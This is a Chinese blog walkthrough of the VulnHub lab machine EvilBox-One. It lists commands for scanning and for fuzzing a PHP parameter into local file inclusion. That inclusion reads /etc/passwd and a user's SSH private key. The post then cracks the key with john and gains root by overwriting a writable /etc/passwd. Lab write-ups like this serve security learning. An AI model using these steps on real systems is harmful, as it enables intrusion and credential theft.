VulnHub日记（十一）：EvilBox-One

最新推荐文章于 2022-11-01 18:57:01 发布

Dawn_Xiiii

最新推荐文章于 2022-11-01 18:57:01 发布

阅读量1.6k

点赞数 1

分类专栏： VlunHub日记文章标签： web安全

本文链接：https://blog.csdn.net/weixin_44107836/article/details/120527401

版权

18 篇文章 5 订阅

订阅专栏

本机ip：192.168.56.102

虚拟机ip：192.168.56.125

netdiscover查找ip

ediscover -r 192.168.56.0/24

nmap扫描开放端口及服务

nmap -A 192.168.56.125

访问80端口并使用dirsearch扫描目录

gobuster dir -r -u http://192.168.56.125/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt -o dir.log

逐个访问，没有发现有用信息，继续递归扫描可以secret文件夹，发现 evil.php文件

访问依旧没有收获，于是参考博客，使用fuzz枚举GET参数，于是在evil上找到了command参数，可以用于LFI，测试/etc/passwd,成功访问文件

ffuf -c -r -u 'http://192.168.56.125/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 0

192.168.56.125/secret/evil.php?command = /etc/passwd

发现有mowree用户，尝试其他命令，无效，似乎只能访问文件，在mowree用户目录下有ssh公钥，尝试创建私钥登录ssh

192.168.56.125/secret/evil.php?command=/home/mowree/.ssh/id_rsa

将私钥复制到本地，更改权限，尝试破解密码

cat >id_rsa
chmod 600 id_rsa

我们必须破解密码的hash值。因此，我们需要一个名为 ssh2john.py 的工具来生成hash值

./ssh2john.py id_rsa | tee hash

之后使用john爆破出用户mowree的ssh密码

john hash --wordlist=rockyou.txt

成功获得密码，接下来使用公钥登录方式登录ssh

ssh 192.168.56.125 -i id_rsa -l mowree

根据提示，再次检查/etc/passwd文件，发现文件可写，使用openssh直接生成root的密码覆盖文件

openssl passwd -1
#输入想设定的密码

将生成的值覆盖之前/etc/passwd中root后的”x"(x的意思是密码保存在/etc/shadow中，修改该值，则可以将密码修改为输入的hash值，这里的截图值和上图中不一样是因为重新生成了其他密码

#先复制/etc/passwwd中内容
cat >/etc/passwd << b
b #输入b直接结束，实现清空
#修改x为生成的hash值，其余不变再写入/etc/passwd
cat >/etc/passwd <<end
#粘贴在这里，输入end结束
end

成功使用修改后的root密码登录，拿到FLAG

su -l root

关注